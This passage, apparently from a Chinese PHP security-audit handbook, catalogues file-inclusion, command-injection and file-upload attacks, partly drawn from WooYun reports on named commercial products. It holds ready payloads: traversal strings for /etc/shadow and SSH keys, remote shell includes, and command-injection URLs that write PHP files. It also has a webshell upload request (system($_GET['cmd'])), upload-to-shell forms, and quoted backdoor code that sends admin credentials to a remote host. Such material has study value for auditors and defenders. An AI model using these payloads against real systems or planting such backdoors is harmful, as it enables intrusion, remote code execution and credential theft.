if(!file_exists_case($templateFile)) throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templateFile.']'); return $templateFile; } 有了包含点,我们需要一个含有我们恶意代码的文件,我们利用 thinphp 的错误日志记录功能: 制造错误: - 76 - 引用 wooyun 文章 PHP 文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时, 由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件, 就可能导致意外的文件泄露甚至恶意的代码注入。最常见的就属于本 地文件包含(Local File Inclusion)漏洞了。 我们来看下面一段 index.php 代码: if ( $_GET [ 'func' ]) { include $_GET [ 'func' ]; - 77 - } else { include 'default.php' ; } 程序的本意可能是当提交 url 为 http://example.com/index.php?func=add.php 时,调用 add.php 里面的样式内容和功能。直接访问 http://example.com/index.php 则会包含默认的 default.php 那么问题来了,如果我们提交 http://example.com/index.php?func=upload/pic/evil.jpg ,且 evil.jpg 是由黑客上传到服务器上的一个图片,在图片的末尾添加了恶 意的 php 代码,那么恶意的代码就会被引入当前文件执行。 如果被包含的文件中无有效的 php 代码,则会直接把文件内容输出。 在接下来的内容中会以代码样本作为例子,来给大家介绍各种奇葩猥 琐的利用姿势 普通本地文件包含 include("inc/". $_GET['file']); ?> 包含同目录下的文件: ?file=.htaccess 目录遍历: ?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../v ar/lib/mlocate/mlocate.db (linux 中这两个文件储存着所有文件的路径,需要 root 权限) 包含错误日志: ?file=../../../../../../../../../var/log/apache/error.log - 78 - (试试把 UA 设置为“”来使 payload 进入日志) 获取 web 目录或者其他配置文件: ?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf (更多→http://wiki.apache.org/httpd/DistrosDefaultLayout) 包含上传的附件: ?file=../attachment/media/xxx.file 读取 session 文件: ?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7 (session 文件一般在/tmp 目录下,格式为 sess_[your phpsessid value],有时候也有可能在/var/lib/php5 之类的,在此之前建议先读 取配置文件。在某些特定的情况下如果你能够控制 session 的值,也 许你能够获得一个 shell) 如果拥有 root 权限还可以试试读这些东西: /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_rsa.keystore /root/.ssh/id_rsa.pub /root/.ssh/known_hosts /etc/shadow /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]* (文件标识符) /proc/mounts /proc/config.gz 如果有 phpinfo 可以包含临时文件: 参见 - 79 - http://hi.baidu.com/mmnwzsdvpkjovwr/item/3f7ceb39965145e ea984284el 有限制的本地文件包含 include("inc/". $_GET['file'] . ".htm"); ?> %00 截断: ?file=../../../../../../../../../etc/passwd%00 (需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效) %00 截断目录遍历: ?file=../../../../../../../../../var/www/%00 (需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD, OpenBSD,NetBSD,Solaris) 路径长度截断: ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././. (php 版本小于 5.2.8(?)可以成功,linux 需要文件名长于 4096, windows 需要长于 256 点号截断: ?file=../../../../../../../../../boot.ini/………[…]………… (php 版本小于 5.2.8(?)可以成功,只适用 windows,点号需要长于 256) 普通远程文件包含 include($_GET['file']); ?> - 80 - 远程代码执行: ?file=[http|https|ftp]://example.com/shell.txt (需要 allow_url_fopen=On 并且 allow_url_include=On) 利用 php 流 input: ?file=php://input (需要 allow_url_include=On,详细→ http://php.net/manual/en/wrappers.php.php) 利用 php 流 filter: ?file=php://filter/convert.base64-encode/resource=index.php (同上) 利用 data URIs: ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= (需要 allow_url_include=On) 利用 XSS 执行任意代码: ?file=http://127.0.0.1/path/xss.php?xss=phpcode (需要 allow_url_fopen=On,allow_url_include=On 并且防火墙或者 白名单不允许访问外网时,先在同站点找一个 XSS 漏洞,包含这个页 面,就可以注入恶意代码了。条件非常极端和特殊- -) 有限制的远程文件包含 include($_GET['file'] . ".htm"); ?> ?file=http://example.com/shell ?file=http://example.com/shell.txt? ?file=http://example.com/shell.txt%23 (需要 allow_url_fopen=On 并且 allow_url_include=On) ?file=\evilshare\shell.php (只需要 allow_url_include=On) - 81 - 远程命令执行 惠尔顿上网行为管理系统命令执行 作者:xfkxfk 文件/base/stats/realtime/user_prohibit_internet.php <?php $ip = $_REQUEST['ip']; $duration = $_REQUEST['duration']; if($duration=="" || $duration==0){ $str = "ipset -A drop_user ".$ip; }else{ $duration = $duration*60; $str = "ipset -A drop_user ".$ip.",".$duration; } - 82 - exec($str); $name = "禁止上网用户:".$ip; writeSysLog($name); ?> $ip = $_REQUEST['ip']; $str = "ipset -A drop_user ".$ip; exec($str); 直接执行命令 第二处命令执行: 文件/base//stats/realtime/underLineUser.php <?php exec("ipset -nL drop_user", $drop_user); $identifier = htmlobject_request('identifier'); if($identifier == '') { $identifier = array(); } switch (htmlobject_request('action')) { case '允许上网': for($i = 0; $i<count($identifier); $i++){ exec("ipset -D drop_user ".$identifier[$i]); $name = "禁止上网用户列表 中 允许上网的 IP:".$identifier[$i]; writeSysLog($name); } - 83 - print("<script>window.location.href='underLin eUser.php';</script>"); break; } 看代码里面:$identifier = htmlobject_request('identifier'); 然后$identifier 进入 exec 里面了 跟进 htmlobject_request 函数: function htmlobject_request($arg) { if (isset($_REQUEST[$arg])) return $_REQUEST[$arg]; else return ''; } 不懂那这个函数来干啥用的 还是参数$identifier 的值直接进入 exec,一样暴力的命令执行。 EXP: https://**.**.**.**/base/stats/realtime/underLineUse r.php?action=允许上网&identifier[]=123;echo '<?php - 84 - phpinfo();?>'>/usr/local/WholetonTM/htdocs/111111.ph p 文件/base/tpl/delectSSLL.php <?php $ssl_dir = "/usr/local/WholetonTM/triton/conf/URL/ssl/"; $id =$_REQUEST['id']; exec ("rm ".$ssl_dir.$id); ECHO "rm ".$ssl_dir.$id; ?> 这里 id 可控,直接进入 exec 执行 https://**.**.**.**/base/tpl/delectSSLL.php?id=;echo '333333'>/usr/local/WholetonTM/htdocs/333333.php 第二处命令执行: 文件/base/vpn/download_nodes.php <?php $upload_dir = str_replace(";", "", $_REQUEST['file']); $upload_file = "nodes"; $fp = fopen($upload_dir.$upload_file, "r "); Header( "Content-type: application/octet-stream "); Header( "Accept-Ranges: bytes "); Header( "Accept-Length: ".filesize($upload_dir.$upload_file)); - 85 - Header( "Content-Disposition: attachment; filename=".$upload_file); echo fread($fp,filesize($upload_dir.$upload_file)); fclose($fp); exec("rm ".$upload_dir.$upload_file); exit; ?> 变量 upload_dir 可控,而且还进行了过滤,但是不影响 上海格尔安全认证网关管理系统 命令执行 作者:xfkxfk 文件/kssl/kssl/WEBUI/www/api/service.php <?php include_once "../global/common.php"; include_once "../ssl/service_helper.php"; /* 处理 GET 请求 */ $service_path = $_GET['service_path']; switch( $_GET['service_action'] ) { case 'start': { if ( true == start_service($service_path) ) { $retry_limit = 10; - 86 - $state_expected = '已启 动'; WEBUI_log( LOG_INFO, " 启动代理服务$service_path"."成功" ); } else { WEBUI_log( LOG_INFO, " 启动代理服务$service_path" ); } while( $service_path != "" && $retry_limit > 0 ) { $state = status_service($service_path); /* 如果 HRP 状态达到 了期望值,则中止重试操作 */ if( $state == $state_expected ) { break; } else { sleep(1); $retry_limit--; } } break; } case 'stop': { if ( true == stop_service($service_path) ) { $retry_limit = 10; $state_expected = '已停 止'; - 87 - WEBUI_log( LOG_INFO, " 停止代理服务$service_path"."成功" ); } else { WEBUI_log( LOG_INFO, " 停止代理服务$service_path" ); } while( $service_path != "" && $retry_limit > 0 ) { $state = status_service($service_path); /* 如果 HRP 状态达到 了期望值,则中止重试操作 */ if( $state == $state_expected ) { break; } else { sleep(1); $retry_limit--; } } break; } case 'download': { $proxy = get_proxy($service_path); $usermap_url = $proxy['usermap_url']; if( WEBUI_exec( "$SSL_DIR/bin/hrp-download-use rmap.sh $SSL_DIR/cfg/$service_path", true ) ) { - 88 - WEBUI_log( LOG_INFO, " 从$usermap_url"."下载代理服务$service_path"."的用户映射策 略成功" ); } else { WEBUI_log( LOG_ERR, "从 $usermap_url"."下载代理服务$service_path"."的用户映射策略 失败" ); } $acl_url = $proxy['acl_url']; echo "<script language='JavaScript'>"; if( WEBUI_exec( "$SSL_DIR/bin/hrp-download-acl. sh $SSL_DIR/cfg/$service_path", true ) ) { WEBUI_log( LOG_INFO, " 从$acl_url"."下载代理服务$service_path"."的 ACL 策略成功 " ); echo "window.alert(\"激 活策略成功\");"; } else { WEBUI_log( LOG_ERR, "从 $acl_url"."下载代理服务$service_path"."的 ACL 策略失败" ); echo "window.alert(\"激 活策略失败\");"; } echo "window.close();"; echo "</script>"; break; } case 'user': { - 89 - if ( '已启动' != status_service($service_path) ) { echo "服务未启动"; break; } $proxy = get_proxy($service_path); $mrtg_enable = $proxy['mrtg_enable']; $mrtg_ip = $proxy['mrtg_ip']; $mrtg_port = $proxy['mrtg_port']; if ( $mrtg_enable == 'On' ) { system( "curl http://$mrtg_ip:$mrtg_port/?ssl" ); } else { echo "实时状态查看功能未开 启"; } break; } default: WEBUI_alert("无效参数: service_action=".$_GET['service_action']); } ?> 注意这里的参数$service_path = $_GET['service_path']; 最后$service_path 进入函数 start_service,stop_service, status_service 这些函数的定义在文件 /kssl/kssl/WEBUI/www/ssl/service_helper.php,跟进 - 90 - function start_service( $service_path ) { global $SSL_DIR; global $PMONITOR_DIR; /* 先检查 HRP 的配置文件,再运行 PMonitor,错误 定义见 hrp-can-start.sh 脚本的注释 */ exec( "$SSL_DIR/bin/hrp-can-start.sh /kssl/HRP/cfg/$service_path 2>&1", $results, $ret ); switch( $ret ) { case 0: WEBUI_exec( "$PMONITOR_DIR/bin/PMonitor --run -f $SSL_DIR/cfg/".$service_path."/PMonitor.conf > /dev/null", true ); return true; case 1: WEBUI_alert( "配置文件不存在,不能启动服 务:" ); return false; case 2: WEBUI_alert( "本机现在处于双机热备的待机状 态,不能启动服务" ); return false; case 3: WEBUI_alert( "使用了网络配置中不存在的 IP 地 址,不能启动服务" ); return false; case 4: WEBUI_alert( "监听的端口已经被其他程序所使 用,不能启动服务" ); return false; case 5: WEBUI_exec( "$SSL_DIR/bin/hrp-can-start.sh - 91 - /kssl/HRP/cfg/$service_path 2>&1", true, "配置文件不完整, 或者进行了错误配置" ); return false; } } function stop_service( $service_path ) { global $SSL_DIR; global $PMONITOR_DIR; WEBUI_exec( "$PMONITOR_DIR/bin/PMonitor --kill -f $SSL_DIR/cfg/".$service_path."/PMonitor.conf", true ); } function status_service( $service_path ) { global $PMONITOR_DIR; exec( "$PMONITOR_DIR/bin/PMonitor -l | grep \"HRP_$service_path \" | awk -F= '{print $3}'", $results, $ret ); switch( $results[0] ) { case "": return "已停止"; case "NORMAL": return "已启动"; case "INIT": case "RETRYING": return "启动中"; } } - 92 - 由于 status_service 函数中命令有双引号保护,双引号被转义,导致 利用失败 文件/kssl/kssl/WEBUI/www/global/common.php function WEBUI_exec( $cmd, $show_err = false, $note = '' ) { exec( $cmd, $results, $ret ); if( $ret != 0 ) { if( $show_err ) { $err = '执行 '.$cmd.' 命令失败'; foreach ( $results as $err_line ) { //2007-5-8 yanhm bugfix for 0005289:错误信息太多 +{{ //错误信息中删去命令帮助信 息 if ( strncmp($err_line, "Usage", 5) != 0 ) break; //}} $err = $err.', '.$err_line; } - 93 - WEBUI_alert( "$note:$err" ); } return false; } return true; } 最终进入了 exec 中,导致命令执行 所以当 service_action=start 和 service_action=stop 时存在两处命 令执行漏洞 文件上传漏洞 在网站的运营过程中,不可避免地要对网站的某些页面或者内容 进行更新,这时便需要使用到网站的文件上传的功能。如果不对被上 传的文件进行限制或者限制被绕过,该功能便有可能会被利用于上传 可执行文件、脚本到服务器上,进而进一步导致服务器沦陷。 - 94 - 导致文件上传的漏洞的原因较多,主要包括以下几类: 1. 服务器配置不当 2. 开源编辑器上传漏洞 3. 本地文件上传限制被绕过 4. 过滤不严或被绕过 5. 文件解析漏洞导致文件执行 6. 文件路径截断 服务器配置不当 当服务器配置不当时,在不需要上传页面的情况下便可导致任意文件 上传 开源编辑器上传漏洞 很多开源的编辑器历史上都有不同的上传漏洞,包括但不只限于 CKEditor,CKEditor 的文件上传漏洞 本地文件上传限制被绕过 只在客户端浏览器上做了文件限制而没有在远程的服务器上做限 制,只需要修改数据包就 可以轻松绕过限制。 过滤不严或被绕过 有些网站上使用了黑名单过滤掉了一些关键的可执行文件脚本后 缀等,但黑名单不全或者被绕过,导致可执行脚本文件被上传到服务 器上,执行。 如在服务器后端过滤掉了后缀为.php 的文件,但并没有过滤掉.php3 等其他可执行文件脚本后缀,攻击者就可以上传带有其他的可执行文 件脚本本后缀的恶意文件到服务器上。 常用的一些可执行的文件脚本的后缀 php php2 php3 php5 phtml asp aspx ascx jsp jspx 在某些情况下由于管理员错误的服务器配置(将.html 后缀的文件使用 - 95 - php 进行解析等)会导致.html、.xml 等静态页面后缀的文件也可被执 行。 在上传文件保存磁盘为 NTFS 格式时可通过::$DATA 绕过黑名单限制 有时服务器只对第一个被上传的文件进行了检查,这时通过同时上传 多个文件并将恶意文件掺杂进其中也可绕过服务器的过滤。 文件解析漏洞导致文件执行 当服务器上存在文件解析漏洞时,合法的文件名便可导致带有恶意代 码的文件被执行 文件路径截断 在上传的文件中使用一些特殊的符号,使得文件被上传到服务器中时 路径被截断从而控制文件路径。 常用的进行文件路径截断的字符如下 \0?%00 在可以控制文件路径的情况下,使用超长的文件路径也有可能会导致 文件路径截断。 任意上传漏洞原理 由于文件上传功能实现代码没有严格限制用户上传的文件后缀以 及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任 意 PHP 文件,并能够将这些文件传递给 PHP 解释器,就可以在远程 服务器上执行任意 PHP 脚本。 任意文件上传漏洞实例: 以下代码会处理上传的文件,并将它们移到 Web 根目录下的一 个目录中。 攻击者可以将任意的 PHP 源文件上传到该程序中,并随后从服务器中 请求这些文件,会在远程服务器上执行恶意文件。 - 96 - <?PHP if(isset($_POST["form"])){ $uploadfile = "upfiles/".$_FILES['upfile']['name']; move_uploaded_file($_FILES['upfile']['tmp_name'], $uploadf ile);//没有检查文件类型就直接上传 print_r($_FILES); die(); } ?> 即使程序将上传的文件存储在一个无法通过 Web 访问的目录中,攻 击者仍然有可能通过向服务器环境引入恶意内容来发动其他攻击。 如 果程序容易出现文件包含漏洞,那么攻击者就可能上传带恶意内容的 文件,并利用另一种漏洞促使程序读取或执行该文件,形成“二次攻 击”。 文件上传案例 PHP 文件上传通常会使用 move_uploaded_file,也可以找到文 件上传的程序进行具体分析 一套 web 应用程序,一般都会提供文件上传的功能,方便来访者 上传一些文件。 下面是一个简单的文件上传表单 <form action="upload.php" method="post" enctype="multipa rt/form-data" name="form1"> <input type="file" name="file1" /><br /> <input type="submit" value="上传文件" /> <input type="hidden" name="MAX_FILE_SIZE" value="1024" / > </form> php 的配置文件 php.ini,其中选项 upload_max_filesize 指定允许上 传的文件大小,默认是 2M - 97 - $_FILES 数组变量 PHP 使用变量$_FILES 来上传文件,$_FILES 是一个数组。如果上传 test.txt,那么$_FILES 数组的内容为: $FILES Array { [file] => Array { [name] => test.txt //文件名称 [type] => text/plain //MIME 类型 [tmp_name] => /tmp/php5D.tmp //临时文件 [error] => 0 //错误信息 [size] => 536 //文件大小,单位字节 } } 如果上传文件按钮的 name 属性值为 file <input type="file" name="file" /> 那么使用$_FILES['file']['name']来获得客户端上传文件名称,不包含 路径。使用$_FILES['file']['tmp_name']来获得服务端保存上传文件的 临时文件路径 存放上传文件的文件夹 PHP 不会直接将上传文件放到网站根目录中,而是保存为一个临时文 件,名称就是$_FILES['file']['tmp_name']的值,开发者必须把这个临 时文件复制到存放的网站文件夹中。 $_FILES['file']['tmp_name']的值是由 PHP 设置的,与文件原始名称不 一样,开发者必须使用$_FILES['file']['name']来取得上传文件的原始 名称。 上传文件时的错误信息 $_FILES['file']['error']变量用来保存上传文件时的错误信息,它的值如 下: - 98 - 错误信息 数值 说 明 UPLOAD_ERR_OK 0 没有错误 UPLOAD_ERR_INI_SIZE 1 上传文件的大小超过 php.ini 的设置 UPLOAD_ERR_FROM_SIZE 2 上传文件的大小超过 HTML 表单中 MAX_FILE_SIZE 的值 UPLOAD_ERR_PARTIAL 3 只上传部分的文件 UPLOAD_ERR_NO_FILE 4 没有文件上传 文件上传漏洞 如果提供给网站访问者上传图片的功能,那必须小心访问者上传 的实际可能不是图片,而是可以指定的 PHP 程序。如果存放图片的目 录是一个开放的文件夹,则入侵者就可以远程执行上传的 PHP 文件来 进行攻击。 下面是一个简单的文件上传例子: <?php // 设置上传文件的目录 $uploaddir = "D:/www/images/"; // 检查 file 是否存在 if (isset($_FILES['file1'])) { // 要放在网站目录中的完整路径,包含文件名 $uploadfile = $uploaddir . $_FILES['file1']['name']; // 将服务器存放的路径,移动到真实文件名 move_uploaded_file($_FILES['file1']['tmp_name'], $uploadfile); } ?> …… <form method="post" enctype="multipart/form-data" name=" form1"> <input type="file" name="file1" /><br /> <input type="submit" value="上传文件" /> - 99 - <input type="hidden" name="MAX_FILE_SIZE" value="1024" / > </form> 这个例子没有检验文件后缀,可以上传任意文件,很明显的上传漏洞 《DVWA 的分析与测试 7(File Upload)》 信息来源于:CodeSec Team 直接看 low 把 <?php if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/ uploads/"; $target_path = $target_path . basename( $_FILES['uploa ded']['name']); if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path . ' succesfully uploaded!'; echo '</pre>'; } } ?> - 100 - 可谓 远古时代的代码了,直接上传 php 马 看 Medium 把 <?php if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/ uploads/"; $target_path = $target_path . basename($_FILES['uploa ded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_type = $_FILES['uploaded']['type']; $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_type == "image/jpeg") && ($uploaded_s ize < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_nam e'], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path . ' succesfully uploaded!'; echo '</pre>'; } } else{ echo '<pre>Your image was not uploaded.</pre>'; } } ?> - 101 - High 级代码依然是 白名单思路过滤 <?php if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/ uploads/"; $target_path = $target_path . basename($_FILES['uploa ded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($upl oaded_name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($u ploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_nam e'], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path . ' succesfully uploaded!'; echo '</pre>'; } } else{ echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } } - 102 - ?> MIME 类型 <form action="up2.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> <?php if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/pjpeg")) && ($_FILES["file"]["size"] < 20000)) { if ($_FILES["file"]["error"] > 0) { echo "Return Code: " . $_FILES["file"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Type: " . $_FILES["file"]["type"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />"; echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />"; if (file_exists("./" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "./" . $_FILES["file"]["name"]); echo "Stored in: " . "./" . $_FILES["file"]["name"]; } - 103 - } } else { echo "Invalid file"; } ?> 在这个脚本中,我们增加了对文件上传的限制。用户只能上 传 .gif 或 .jpeg 文件,需要浏览器提供该信息的支持 用 BS 抓包 如下: POST /up2.php HTTP/1.1 Host: 5.5.5.2 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/2010010 1 Firefox/4.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://5.5.5.2/up2.php Content-Type:multipart/form-data; boundary=------------------ ---------6537129554217994941264651983 Content-Length: 359 -----------------------------6537129554217994941264651983 Content-Disposition: form-data; name="file"; filename="1.gif" Content-Type: image/gif <?php system($_GET['cmd']); ?> -----------------------------6537129554217994941264651983 - 104 - Content-Disposition: form-data; name="submit" Submit -----------------------------6537129554217994941264651983-- 防范方式: 1. 使用白名单方式检测文件后缀 2. 上传之后按时间能算法生成文件名称 3. 上传目录脚本文件不可执行 4. 注意%00 截断 中国联通客服平台任意文件上传 作者:only_guest - 105 - /** * uploadFlash.php * Flash 文件上传. */ require_once('../global.inc.php'); //operateId=1 上传,operateId=2 获取地址. $operateId = intval($_REQUEST['operateId']); if(empty($operateId)) exit; if($operateId == 1){ $date = date("Ymd"); $dest = $CONFIG->basePath."data/files/".$date."/"; $COMMON->createDir($dest); //if (!is_dir($dest)) mkdir($dest, 0777); $nameExt = strtolower($COMMON->getFileExtName($_FILES['Filedata']['name'])); $allowedType = array('jpg', 'gif', 'bmp', 'png', 'jpeg'); if(!in_array($nameExt, $allowedType)){ $msg = 0; } if(empty($msg)){ $filename = getmicrotime().'.'.$nameExt; $file_url = urlencode($CONFIG->baseUrl.'data/files/'.$date."/".$filename); $filename = $dest.$filename; if(empty($_FILES['Filedata']['error'])){ move_uploaded_file($_FILES['Filedata']['tmp_name'],$filename); } - 106 - if (file_exists($filename)){ //$msg = 1; $msg = $file_url; @chmod($filename, 0444); }else{ $msg = 0; } } $outMsg = "fileUrl=".$msg; $_SESSION["eoutmsg"] = $outMsg; exit; }else if($operateId == 2){ $outMsg = $_SESSION["eoutmsg"]; if(!empty($outMsg)){ session_unregister("eoutmsg"); echo '&'.$outMsg; exit; }else{ echo "&fileUrl=0"; exit; } } function getmicrotime(){ list($usec, $sec) = explode(" ",microtime()); return ((float)$usec + (float)$sec); } ?> 存在逻辑错误.可以导致任意文件上传. - 107 - 用友 ICC 网站客服系统任意文件上传漏洞 作者:Jannock /home/ecccs/web/5107/upload/screenImagesSave.php(相关上 传的也同样有) <?php /** * screenImagesSave.php * */ require_once('../global.inc.php'); //get request. $ft = intval($_REQUEST['ft']); /* chdir($CONFIG["canned_file_tmp"]); exec("rm -rf *"); */ $date = date("Ymd"); $dest = $CONFIG->basePath.'data/files/'.$date."/"; if (!is_dir($dest)) mkdir($dest, 0777); $filename = paramsFmt(urldecode($_GET["filename"])); $nameExt = strtolower($COMMON->getFileExtName($_FILES['file'][' name'])); $unallowedType = array('php', 'jsp', 'asp', 'sh', 'pl', 'js', 'jar', 'jad', 'class', 'java'); if(in_array($nameExt, $unallowedType)){ if($ft == '1'){ echo 'pe'; - 108 - }else if($ft == '2'){ echo 'fe'; } exit; } /* if (empty($filename)) $filename = date("Ymdhms")."_noname.file"; echo $date."/".$filename; */ $filenameNew = $dest.$filename; if(empty($_FILES["file"]['error'])){ move_uploaded_file($_FILES["file"]["tmp_name"] ,$filenameNew); } if(file_exists($filenameNew)){ echo(urlencode($CONFIG->baseUrl.'data/files/'. $date."/".$filename)); @chmod($filenameNew, 0444); }else{ if($ft == '1'){ echo 'pe'; }else if($ft == '2'){ echo 'fe'; } } ?> 注意到 filename 没有?有验证上传文件的类型,但保存的文件名却 为:filename GET 的参数。 <form id="QuickSearch" name="QuickSearch" enctype="multipart/form-data" method="post" - 109 - action="http://xxx.xxxx.com/5107/upload/screenImagesSave.p hp?filename=xx.php"> <input type="file" name="file"> <input type="submit" name="QuickSearchBtn" value="上传"> </form> 上传一个 jpg 的图片木马,即上传成功为 xx.php 的马。 泛微 Eoffice 任意文件上传 作者:Bear baby 1.文件位置:/webservice/upload.php。相关代码如下: <?php include_once( "inc/utility_all.php" ); $pathInfor = pathinfo( $_FILES['file']['tmp_name'] ); $extension = $pathInfor['extension']; $role = UPLOADROLE; $attachmentID = createfiledir( ); global $ATTACH_PATH; $path = $ATTACH_PATH.$attachmentID; if ( !file_exists( $path ) ) { mkdir( $path, 448 ); } $attachmentName = $_FILES['file']['tmp_name']; $fileName = $path."/".$_FILES['file']['name']; $fileName = iconv( "UTF-8", "GBK", $fileName ); move_uploaded_file( $_FILES['file']['tmp_name'], $fileName ); if ( !file_exists( $fileName ) ) - 110 - { echo "false"; } else { echo $fileName; echo $attachmentID."*".$_FILES['file']['name']; } ?> 没有做任何限制直接上传,文件名为原文件名,文件路径如下 $path = $ATTACH_PATH.$attachmentID $fileName = $path."/".$_FILES['file']['name']; 构造上传表单如下: <form action="http://网站地址/webservice/upload.php" form enctype="multipart/form-data" method="POST"> <input name="file" type="file"> <input name="" type="submit"> </form> 2.文件位置:inc/jquery/uploadify/uploadify.php 相关代码如下 <?php function createFileDir( ) { global $ATTACH_PATH; mt_srand( ( double )microtime( ) * 1000000 ); $RADOM_ID = mt_rand( ) + mt_rand( ); - 111 - if ( !file_exists( $ATTACH_PATH.$RADOM_ID ) ) { return $RADOM_ID; } else { } } if ( !empty( $_FILES ) ) { $tempFile = $_FILES['Filedata']['tmp_name']; $attachmentID = createfiledir( ); $uploadPath = $_REQUEST['uploadPath']; if ( trim( $uploadPath ) == "" ) { } else { $target } if ( !file_exists( $targetPath ) ) { mkdir( } - 112 - $targetFile = str_replace( "//", "/", $targetPath )."/".$_FILES['Filedata']['name']; move_uploaded_file( $tempFile, iconv( "UTF-8", "GBK", $targetFile ) ); echo $attachmentID; } ?> 也是没有任意过滤,文件名为原文件名,可直接上传 shell。 $targetPath = $uploadPath."/sent/attachment/".$attachmentID; $targetFile = str_replace( "//", "/", $targetPath )."/".$_FILES['Filedata']['name']; - 113 - 后门 EcShop 官方补丁存后门 作者:未知 我们的网站 ecshop 有点二次开发,所以每次升级补丁都要对比下修 改,结果这次对比发现了个大问题,官方的补丁文件内有段后门代码,目 前来看应该是截订单的人留得,黑暗啊! 反向分析了后门源码,找到了黑客的服务器,目测已经大量电商沦陷,我 的妈呀!Ecshop 你叫我们小站长肿么办!! 补丁是 273utf8_patch006 ,包我幸运的保留下来了,提供给乌云管理 放到网盘给厂商和安全研究人员分析。 问题出在 /admin/privilege.php 中(管理员身份验证文件),登录成 功设置身份认证信息前,一个 file_get_content 函数,怪不得会绕过之 前一些大牛们的分析。 stat privilege.php 16777218 43425476 -rw-r--r-- 1 root root 0 25952 "Jun 4 19:16:09 2013" "May 6 14:18:36 2013" "Jun 4 18:59:14 2013" "May 6 14:18:36 2013" 4096 56 0 privilege.php @file_get_contents('http://**.**.**.**/api/manyou/ec shop/w2.php?username='.$_POST['username'].'&password ='.$_POST['password'].'---'.$_SERVER['REMOTE_ADDR']. '---'.date('Y-m-d|H:i:s').'---'.$_SERVER['HTTP_HOST'] .$_SERVER['PHP_SELF']); // 登录成功 - 114 - set_admin_session($row['user_id'], $row['user_name'], $row['action_list'], $row['last_login']); 这个代码将管理员用户名、密码、IP、时间和后台地址等信息通通的发到 远程接口上,http://**.**.**.**/api/manyou/ecshop/w2.php 这个地址直接访问没什么,当我访问 ecshop 这个目录的时候发现居然 可以目录遍历,还有一个 ok.php 文件 panabit 高危漏洞合集 作者:f4ckbaidu 0x03 官方后门 panaos#cat /usr/ramdisk/www/sys/cmdhandle.php <?php $doc = $_SERVER['DOCUMENT_ROOT']; $cmd = $_POST["cmd"]; $type = $_POST['type']; if ($type == "get"){ $ds = explode(' ', $cmd); $fp = popen($cmd, "r"); if (!$fp){ echo "命令执行失败"; exit(0); } if (is_file($ds[1]) && !file_exists($ds[1])){ - 115 - echo "file no found\n"; exit(0); } $str = ""; while(! feof($fp)){ $s = htmlspecialchars(fgets($fp)); $s = str_replace("\n", "<br/>", $s); if ($s == "\n") continue; $str .= " ".$s; } echo iconv("gb2312", "utf-8", $str); exit(0); } if ($type == "viget"){ $ds = explode(' ', $cmd); $fp = popen($cmd, "r"); if (!$fp){ echo "命令执行失败"; exit(0); } if (is_file($ds[1]) && !file_exists($ds[1])){ echo "file no found\n"; exit(0); } $str = ""; while(! feof($fp)){ $s = (fgets($fp)); if ($s == "\n") continue; $str .= $s; } echo iconv("gb2312", "utf-8", $str); exit(0); } - 116 - if ($type == "save"){ $con = urldecode($_POST['con']); if (!is_file($cmd)){ echo "该文件不可编辑"; exit(0); } $fp = fopen($cmd, "w"); if (!$fp){ echo "打开文件失败"; exit(0); } fwrite($fp, $con); fclose($fp); echo "操作成功"; } 这个也没什么好说的,官方自己留的命令执行、文件读写后门,以命令执 行为例: - 117 - 逻辑错误 Espcms 后台逻辑验证错误漏洞 作者:Code_Sec 系统后台权限逻辑校验存在问题,导致后台某模块功能被绕过和非授 权访问 后台管理员权限校验在文件\public\class_connector.php: function admin_purview() { if ($this->fun->accept('archive', 'R') == 'filemanage' && $this->fun->accept('action', 'R') == 'batupfilesave') { $ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'G'); - 118 - $esp_powerlist = $this->fun->accept('esp_powerlist', 'G'); $gettype = false; } else { 